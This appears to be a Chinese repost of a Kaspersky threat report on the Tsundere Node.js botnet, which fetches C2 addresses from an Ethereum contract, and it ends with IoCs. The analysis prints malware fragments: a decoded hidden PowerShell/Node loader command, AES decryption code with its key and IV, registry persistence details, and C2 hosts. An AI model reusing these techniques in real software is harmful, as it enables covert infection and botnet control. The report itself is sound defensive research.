利用区块链与Node.js的"傲娇"僵尸网络技术揭秘

本文深入分析了名为"Tsundere"的新兴僵尸网络。该僵尸网络使用Node.js编写,通过以太坊区块链获取C2服务器地址,利用MSI安装包和PowerShell脚本传播,并具备动态代码执行能力。文章详细剖析了其感染流程、技术架构、通信机制以及背后的基础设施。

引言

Tsundere是卡巴斯基GReAT团队在2025年中发现的一个新型僵尸网络。我们将其与2024年10月的报告相关联,发现了代码相似性、相同的C2地址检索方法以及相同的钱包地址。当时,攻击者创建了恶意的Node.js包,并利用Node包管理器(npm)来分发负载。这些包的名称与流行包相似,使用了"误植域名"技术。攻击者针对了Puppeteer、Bignum.js和各种加密货币包等库,共识别出287个恶意软件包。这次供应链攻击影响了Windows、Linux和macOS用户,但持续时间很短,因为这些包在被检测后就被移除,攻击者也放弃了这种感染方式。

大约在2025年7月,该威胁行为者带着新的威胁重新出现。我们根据其C2面板将其命名为Tsundere僵尸程序。该僵尸网络目前正在扩张,对Windows用户构成积极威胁。

初始感染

目前,没有确凿证据表明Tsundere僵尸程序植入物是如何传播的。然而,在一个记录在案的案例中,植入物是通过远程监控和管理(RMM)工具安装的,该工具从被入侵的网站下载了一个名为pdf.msi的文件。在其他实例中,样本名称表明植入物是通过伪装成流行的Windows游戏(尤其是第一人称射击游戏)进行传播的。在野外发现的样本名称如"valorant"、“cs2"或"r6x”,这似乎是试图利用盗版社区中这些游戏的流行度。

恶意软件植入物

根据C2面板,传播植入物有两种不同的格式:通过MSI安装程序和通过PowerShell脚本。植入物由C2面板自动生成。

MSI安装程序

MSI安装程序通常伪装成流行游戏和其他软件的假安装程序,以诱骗新受害者。值得注意的是,在我们的研究期间,它的检测率非常低。

安装程序包含一个数据和JavaScript文件列表(每次新构建都会更新),以及运行这些脚本所需的Node.js可执行文件。以下是样本中包含的文件列表:

1
2
3
4
5
6
7
nodejs/B4jHWzJnlABB2B7
nodejs/UYE20NBBzyFhqAQ.js
nodejs/79juqlY2mETeQOc
nodejs/thoJahgqObmWWA2
nodejs/node.exe
nodejs/npm.cmd
nodejs/npx.cmd

列表中的最后三个文件是合法的Node.js文件。它们与恶意组件一起安装在用户的AppData\Local\nodejs目录中。

检查CustomAction表揭示了Windows Installer执行恶意软件并安装Tsundere僵尸程序的过程:

1
RunModulesSetup 1058    NodeDir powershell -WindowStyle Hidden -NoLogo -enc JABuAG[...]ACkAOwAiAA==

Base64解码后,命令如下:

1
2
$nodePath = "$env:LOCALAPPDATA\nodejs\node.exe";
& $nodePath  - e "const { spawn } = require('child_process'); spawn(process.env.LOCALAPPDATA + '\\nodejs\\node.exe', ['B4jHWzJnlABB2B7'], { detached: true, stdio: 'ignore', windowsHide: true, cwd: __dirname }).unref();"

这将执行Node.js代码,生成一个新的Node.js进程来运行加载器JavaScript代码(本例中为B4jHWzJnlABB2B7)。生成的子进程在后台运行,对用户隐藏。

加载器脚本

加载器脚本负责确保正确解密和执行主僵尸程序脚本,该脚本处理npm解包和配置。虽然加载器代码(与其他JavaScript文件代码类似)被混淆,但可以使用开源工具进行反混淆。执行后,加载器尝试定位Tsundere僵尸程序的解包脚本和配置,使用构建特定的密钥和IV通过AES-256 CBC加密算法进行解密,并将解密后的文件以不同的文件名保存。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
  encScriptPath = 'thoJahgqObmWWA2',
  encConfigPath = '79juqlY2mETeQOc',
  decScript = 'uB39hFJ6YS8L2Fd',
  decConfig = '9s9IxB5AbDj4Pmw',
  keyBase64 = '2l+jfiPEJufKA1bmMTesfxcBmQwFmmamIGM0b4YfkPQ=',
  ivBase64 = 'NxrqwWI+zQB+XL4+I/042A==',
[...]
    const h = path.dirname(encScriptPath),
      i = path.join(h, decScript),
      j = path.join(h, decConfig)
    decryptFile(encScriptPath, i, key, iv)
    decryptFile(encConfigPath, j, key, iv)

配置文件是一个JSON,定义了目录和文件结构以及文件内容,恶意软件将重新创建这些结构。恶意软件作者将此文件称为"config",但其主要目的是打包和部署Node.js包管理器(npm),而无需手动安装或下载。解包脚本负责重新创建此结构,包括node_modules目录及其所有库,其中包含恶意软件运行所需的包。

环境设置完成后,恶意软件继续使用npm将三个包安装到node_modules目录:

  • ws:一个WebSocket网络库
  • ethers:一个用于与以太坊通信的库
  • pm2:一个Node.js进程管理工具

pm2包用于确保Tsundere僵尸程序保持活动状态,并用于启动僵尸程序。此外,pm2通过写入注册表并配置自身在登录时重新启动进程来实现系统持久性。

PowerShell感染器

PowerShell版本的感染器以更紧凑和简化的方式运行。与MSI安装程序使用配置文件和解包器不同,它从官方Node.js网站nodejs[.]org下载ZIP文件node-v18.17.0-win-x64.zip,并将其解压到AppData\Local\NodeJS目录,最终在目标设备上部署Node.js。然后,感染器使用AES-256-CBC算法解密两个大的十六进制编码变量,这些变量对应于僵尸程序脚本和持久性脚本。这些解密后的文件以及一个package.json文件被写入磁盘。package.json文件包含有关恶意Node.js包的信息,以及需要安装的必要库,包括wsethers包。最后,感染器运行这两个脚本,首先是持久性脚本,然后是僵尸程序脚本。

持久性是通过在MSI安装程序中观察到的相同机制实现的:脚本在HKCU:\Software\Microsoft\Windows\CurrentVersion\Run注册表项中创建一个指向自身的值。然后用一个新的脚本(经过Base64解码)覆盖自身。这个新脚本负责通过在每次登录时生成一个新的僵尸程序实例来确保僵尸程序被执行。

Tsundere僵尸程序

我们现在将深入研究Tsundere僵尸程序,检查其与命令与控制(C2)服务器的通信及其主要功能。

C2地址检索

Web3合约,也称为智能合约,通过钱包的交易部署在区块链上。这些合约可以将数据存储在变量中,这些变量可以通过合约内定义的函数进行修改。在这种情况下,Tsundere僵尸网络利用以太坊区块链,其中定义了一个名为setString(string _str)的方法来修改状态变量param1,允许其存储一个字符串。存储在param1中的字符串被Tsundere僵尸网络管理员用来存储新的WebSocket C2服务器,这些地址可以随意轮换,并且一旦写入以太坊区块链就不可变。

Tsundere僵尸网络依赖以太坊区块链上的两个常量参考点:

  • 钱包:0x73625B6cdFECC81A4899D221C732E1f73e504a32
  • 合约:0xa1b40044EBc2794f207D45143Bd82a1B86156c6b

为了更改C2服务器,Tsundere僵尸网络发起交易以更新具有新地址的状态变量。例如,2025年8月19日进行的一笔交易,价值为0 ETH,用于更新地址。

状态变量的固定长度为32字节,其中存储了一个24字节的字符串(参见上图)。当此字符串从十六进制转换为ASCII时,它显示了新的WebSocket C2服务器地址:ws[:]//185.28.119[.]179:1234

为了获取C2地址,僵尸程序会联系各种提供远程过程调用(RPC)API的公共端点,这些API允许它们与以太坊区块链节点交互。在脚本开始时,僵尸程序调用一个名为fetchAndUpdateIP的函数,该函数遍历RPC提供者列表。对于每个提供者,它检查与合约地址和钱包所有者关联的交易,然后从状态变量中检索包含WebSocket地址的字符串。

Tsundere僵尸程序验证C2地址是否以ws://wss://开头,以确保它是有效的WebSocket URL,然后将获取的字符串设置为服务器URL。但在使用此新URL之前,僵尸程序首先通过检索机器的区域设置名称来检查系统区域设置,以避免感染CIS地区的系统。如果系统不在CIS地区,僵尸程序通过WebSocket建立与服务器的连接,为接收、发送和管理连接状态(如错误和关闭的套接字)设置必要的处理程序。

通信

客户端(Tsundere僵尸程序)和服务器(WebSocket C2)之间的通信流程如下:

  1. Tsundere僵尸程序与检索到的C2地址建立WebSocket连接。
  2. 连接建立后,立即传输AES密钥。
  3. 僵尸程序发送一个空字符串以确认收到密钥。
  4. 服务器然后发送一个IV,从而启用从该点开始的加密通信。
  5. 所有后续通信都需要加密。
  6. 僵尸程序传输受感染机器的操作系统信息,包括MAC地址、总内存、GPU信息和其他详细信息。此信息也用于生成唯一标识符(UUID)。
  7. C2服务器响应一个JSON对象,确认连接并确认僵尸程序的存在。
  8. 连接建立后,客户端和服务器可以自由交换信息。

为了保持连接,每分钟使用ping/pong消息发送保活消息。僵尸程序作为ping/pong消息的一部分发送加密响应,确保持续通信。

连接没有通过任何额外方式进行身份验证,这使得虚假客户端有可能建立连接。

如前所述,客户端每分钟向C2服务器发送加密的ping消息,C2服务器返回pong消息。这种ping-pong交换作为C2面板维护当前活动僵尸程序列表的机制。

功能

Tsundere僵尸程序设计允许C2服务器发送动态JavaScript代码。当C2服务器向僵尸程序发送ID=1的消息时,该消息被评估为新函数,然后执行。此操作的结果通过名为serverSend的自定义函数发送回服务器,该函数负责将结果作为JSON对象传输,并进行加密以确保通信安全。

评估代码的能力使Tsundere僵尸程序相对简单,但也提供了灵活性和动态性,允许僵尸网络管理员使其适应各种操作。

然而,在我们的观察期间,我们没有从C2服务器收到任何命令或函数,可能是因为新连接的僵尸程序需要先通过僵尸网络面板被其他威胁行为者请求,然后才能被利用。

基础设施

Tsundere僵尸程序使用WebSocket作为其主要协议来建立与C2服务器的连接。如前所述,在撰写本文时,恶意软件正在与位于185.28.119[.]179的WebSocket服务器通信,我们的测试表明它对僵尸程序连接做出了积极回应。

下表列出了从提供的URL列表中提取的IP地址和端口:

IP 端口 首次出现(合约更新) ASN
185.28.119[.]179 1234 2025-08-19 AS62005
196.251.72[.]192 1234 2025-08-03 AS401120
103.246.145[.]201 1234 2025-07-14 AS211381
193.24.123[.]68 3011 2025-06-21 AS200593
62.60.226[.]179 3001 2025-05-04 AS214351

市场和操作面板

任何业务都离不开市场,同样,任何僵尸网络也离不开操作面板。Tsundere僵尸网络既有市场又有操作面板,它们集成在同一个前端中。

Tsundere操作面板(称为"Tsundere Netto",版本2.4.4)的一个显著特点是它具有开放式注册系统。任何访问登录表单的用户都可以注册并访问面板,该面板具有以下选项卡:

  • Bots:显示用户控制下的僵尸程序数量的仪表板。
  • Settings:用户设置和管理功能。
  • Build:如果用户拥有有效的许可证,他们可以使用之前提到的两种方法(MSI或PowerShell)创建新的僵尸程序。
  • Market:这是面板中最有趣的方面,因为它允许用户推广其个人僵尸程序,并向其他威胁行为者提供各种服务和功能。每个构建都可以创建一个执行特定操作集的僵尸程序,然后可以提供给其他人。
  • Monero wallet:一项钱包服务,允许用户存款或取款。
  • Socks proxy:一项允许用户将其僵尸程序用作流量代理的功能。

每个构建都会生成一个唯一的构建ID,该ID被嵌入到植入物中,并在感染时发送到C2服务器。此构建ID可以链接到创建它的用户。根据我们的研究和对在野外发现的其他URL的分析,构建是通过面板创建的,可以通过URL下载:

1
hxxps://idk.1f2e[REDACTED]07a4[.]net/api/builds/{BUILD-ID}.msi.

在撰写本文时,面板通常在任何给定时间都有90到115个僵尸程序连接到C2服务器。

归属

根据在植入物中发现的文本,我们可以高度自信地得出结论,Tsundere僵尸网络背后的威胁行为者很可能是俄语使用者。植入物中俄语的使用与先前归因于同一威胁行为者的攻击一致。

此外,我们的分析表明Tsundere僵尸网络与123 Stealer(一种在暗网市场上以每月120美元出售的基于C++的窃取程序)之间存在联系。这种联系基于两个面板共享同一服务器的事实。值得注意的是,主域名是123 Stealer面板的前端,而子域名"idk.“用于Tsundere僵尸网络面板。

通过检查现有证据,我们可以将这两种威胁与一个名为"koneko"的俄语威胁行为者联系起来。Koneko之前曾在一个暗网论坛上活跃,推广123 Stealer以及其他恶意软件,包括一个后门。尽管我们对后门的分析显示它与Tsundere没有直接关系,但它与Tsundere僵尸网络有相似之处,即它也是用Node.js编写的,并使用PowerShell或MSI作为感染器。在暗网论坛被查封和关闭之前,koneko的个人资料标题为"node malware senior”,这进一步表明了他们在基于Node.js的恶意软件方面的专业知识。

结论

Tsundere僵尸网络代表了一个据信已被识别的威胁行为者为了更新其工具集而重新付出的努力。这个基于Node.js的僵尸程序是去年10月发现的攻击的演变,现在它具有新的策略甚至新的商业模式。感染可以通过MSI和PowerShell文件发生,这为伪装安装程序、使用网络钓鱼作为入口点或与其他攻击机制集成提供了灵活性,使其成为更强大的威胁。

此外,该僵尸网络利用了一种日益流行的技术:使用web3合约(也称为"智能合约")来托管命令与控制(C2)地址,这增强了僵尸网络基础设施的弹性。该僵尸网络的可能作者koneko也参与了兜售其他威胁,如123 Stealer,这表明该威胁在未来几个月内可能会升级而不是减弱。因此,必须密切关注此威胁,并警惕未来可能出现的相关威胁。

入侵指标

更多与此威胁相关的入侵指标(IoC)可供卡巴斯基情报报告服务的客户使用。联系方式:intelreports@kaspersky.com。

文件哈希

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
235A93C7A4B79135E4D3C220F9313421
760B026EDFE2546798CDC136D0A33834
7E70530BE2BFFCFADEC74DE6DC282357
5CC5381A1B4AC275D221ECC57B85F7C3
AD885646DAEE05159902F32499713008
A7ED440BB7114FAD21ABFA2D4E3790A0
7CF2FD60B6368FBAC5517787AB798EA2
E64527A9FF2CAF0C2D90E2238262B59A
31231FD3F3A88A27B37EC9A23E92EBBC
FFBDE4340FC156089F968A3BD5AA7A57
E7AF0705BA1EE2B6FBF5E619C3B2747E
BFD7642671A5788722D74D62D8647DF9
8D504BA5A434F392CC05EBE0ED42B586
87CE512032A5D1422399566ECE5E24CF
B06845C9586DCC27EDBE387EAAE8853F
DB06453806DACAFDC7135F3B0DEA4A4F

文件路径

%APPDATA%\Local\NodeJS

域名和IP

1
2
3
4
5
ws://185.28.119[.]179:1234
ws://196.251.72[.]192:1234
ws://103.246.145[.]201:1234
ws://193.24.123[.]68:3011
ws://62.60.226[.]179:3001

加密货币钱包

注意:这些是自智能合约创建以来已更改其中C2地址的钱包。

1
2
3
4
5
6
7
8
0x73625B6cdFECC81A4899D221C732E1f73e504a32
0x10ca9bE67D03917e9938a7c28601663B191E4413
0xEc99D2C797Db6E0eBD664128EfED9265fBE54579
0xf11Cb0578EA61e2EDB8a4a12c02E3eF26E80fc36
0xdb8e8B0ef3ea1105A6D84b27Fc0bAA9845C66FD7
0x10ca9bE67D03917e9938a7c28601663B191E4413
0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84
0x46b0f9bA6F1fb89eb80347c92c9e91BDF1b9E8CC
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计